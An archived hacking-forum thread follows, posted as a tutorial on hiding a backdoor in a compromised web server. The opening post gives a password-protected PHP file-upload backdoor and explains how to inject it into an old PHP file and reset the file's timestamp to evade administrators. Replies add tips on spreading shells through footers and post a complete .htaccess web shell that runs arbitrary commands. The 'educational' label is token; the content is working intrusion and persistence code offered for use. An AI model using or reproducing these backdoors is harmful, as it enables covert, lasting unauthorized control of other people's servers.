+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TuT] Hide your Backdoor now => 1Kb [/TuT] (/showthread.php?tid=2212603)
[TuT] Hide your Backdoor now => 1Kb [/TuT] - joomlafkr - Feb 14, 2012
For educational purposes only.
I felt like writing a tutorial today In this tutorial I will share with you my method to hide a Backdoor in a server.
What do we need?
1. A Shelled Webserver (skiddies , learn to do it !)
2. This tutorial
3. A Php script attached to this tutorial
4. A bite of Intelligence
5. Staying Anonymous use a VPN or SSH Tunnel...
I felt like writing a tutorial today In this tutorial I will share with you my method to hide a Backdoor in a server.
What do we need?
1. A Shelled Webserver (skiddies , learn to do it !)
2. This tutorial
3. A Php script attached to this tutorial
4. A bite of Intelligence
5. Staying Anonymous use a VPN or SSH Tunnel...
Leh go !
STEP 1 : Finding the target
Easy step , Well you just need to find a forgotten php file(wasn't changed a while ago)
In my case i found a target (common.php) you have to remember the timestamp , you will use it afterwards...
[img]http://www4.picturepush.com/photo/a/7575382/640/7575382.jpg[/img]
STEP 2 : Preparing the php script
Here is the script i used
PHP Code
<?php
if (isset ($_GET["passwd"]) and md5($_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b")
{
?>
<body [b]onload=[/b]"command.focus()">
<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="900000" />
upload: <input name="uploaded" type="file" /><br />
<input type="submit" value="Upload" />
</form>
</body>
<?php
}
$target_path = "./";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo ";)";
}
?>You need to modify md5($_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b"
with a md5 password ( you know how to do it , don't you ?)
now just go to "http://tools.th3-0utl4ws.com/php-crypt/enc.php" or somewhere else and encrypt your script
[img]http://www5.picturepush.com/photo/a/7575433/640/7575433.jpg[/img]
and yeah it's a 1kB code
STEP 3 : Inject the Backdoor
This step is tricky , you need to find some code to delete comments
for example... to save some space.
[img]http://www3.picturepush.com/photo/a/7575431/640/7575431.jpg[/img]
delete that code and inject your 1Kb backdoor
[img]http://www4.picturepush.com/photo/a/7575467/640/7575467.jpg[/img]
Done ? now Save everything and back to your console
STEP 4 : Change the timestamp ;)
Back to your console now write this down
Code
touch -t yearmonthdayhourminute filenameCode
touch -t 201108010124 Common.phpIt worked right ;) no admin could recognize the change ;)
STEP 5 : Test it out ;)
now just write down the path to the php file and type the url on your browser and add a ?passwd=yourpassword
[img]http://www4.picturepush.com/photo/a/7575557/640/7575557.jpg[/img]
STEP 6 : Enjoy it and get back to it to upload the shell ;)
Test it out to see if you can upload your shell...
and enjoy your hidden Backdoor...
Script Download Link
Original
Encrypted
Please give some feedback to keep this thread alive ;)
Cheers.
* - joomlafkr - Feb 14, 2012
Yeah i use this often
and even the brightest admins couldn't find it lol
* - SpriteZ - Feb 14, 2012
(Feb 14, 2012 04:07 PM)joomlafkr Wrote: Yeah i use this often
and even the brightest admins couldn't find it lol
Yeah, but if they know they've been compromised then they can just delete everything and re-upload their original files, though I usually find a way to maintain access.
* - joomlafkr - Feb 14, 2012
Well i guess if they aren't skilled to fix a security whole !
maybe They can't feel they are compromised !
but yeah it worked for me nearly everywhere and still got my backdoors :)
* - Best Teemo NA - Feb 14, 2012
Nice tuts mate.
* - Hooded Robin - Feb 14, 2012
I use this method with WeBaCoo shells all the time and it works like a charm. Footers seem to be a common one you can take advantage of if you want to replicate your shell to every page on the site :p
PS - alternatively you can place a "." in front of your file name which will hide it from most views (like .htaccess files). There is even a person who wrote custom .htaccess files with command execution for ultimate sneakyness as the requests to the file dont show up in logs unless they are totally custom set
* - RaZa - Feb 14, 2012
This is quite smart, as it creates you are basically adding a php upload script hidden inside one of the old files on the server. Accompanied with touching the date back to the original date, you virtually have a hidden backdoor unless they go through their php files which they will most likely not do as they won't detect any intrusion in the first place.
* - joomlafkr - Feb 14, 2012
Yep , you got it right mate ;)
being smart is the only way to stay alive nowadays B-)
* - SIM-659024 - Feb 14, 2012
nothing understand from that all thinks :(
* - joomlafkr - Feb 14, 2012
It's about hiding an upload script(backdoor) inside a php file.
Just follow the steps....
(Feb 14, 2012 07:26 PM)Warmaster Wrote: nothing understand from that all thinks :(
Did you manage to learn smthng from it ??
* - Nepal Cyber Army - Feb 21, 2012
nice tutorial man..
keep up the good work ..
* - gatopardos - Feb 21, 2012
Yeah that's nice you can also add a geoip clause to further lock down rights.. anyway use webacoo or weevely no need to rewrite and touch files.. all URL requests are logged.
(Feb 14, 2012 05:27 PM)Hooded Robin Wrote: I use this method with WeBaCoo shells all the time and it works like a charm. Footers seem to be a common one you can take advantage of if you want to replicate your shell to every page on the site :p
PS - alternatively you can place a "." in front of your file name which will hide it from most views (like .htaccess files). There is even a person who wrote custom .htaccess files with command execution for ultimate sneakyness as the requests to the file dont show up in logs unless they are totally custom set
How about that.. since you gave me that pdf I will post this here:
Code
# Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web Order allow,deny Allow from all # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ## SHELL ## <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>## LLEHS ##More here:
Code
https://github.com/wireghoul/htshells* - joomlafkr - Feb 27, 2012
The htshell solution is very interesting but you need to hide the htaccess file somewhere because its size will increase consequently...
(Feb 21, 2012 02:13 PM)gatopardos Wrote: Yeah that's nice you can also add a geoip clause to further lock down rights.. anyway use webacoo or weevely no need to rewrite and touch files.. all URL requests are logged.
How about that.. since you gave me that pdf I will post this here:
Code# Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web Order allow,deny Allow from all # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ## SHELL ## <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>## LLEHS ##
More here:
🎉 🎉 🎉Codehttps://github.com/wireghoul/htshells
* - snake168 - Mar 5, 2012
Very useful. And with a little modifications it might be even more stealthier.
* - gatopardos - Mar 5, 2012
jaja yes it can I have included many backdoors in the shell I'm coding although I won't give this to anyone except few people.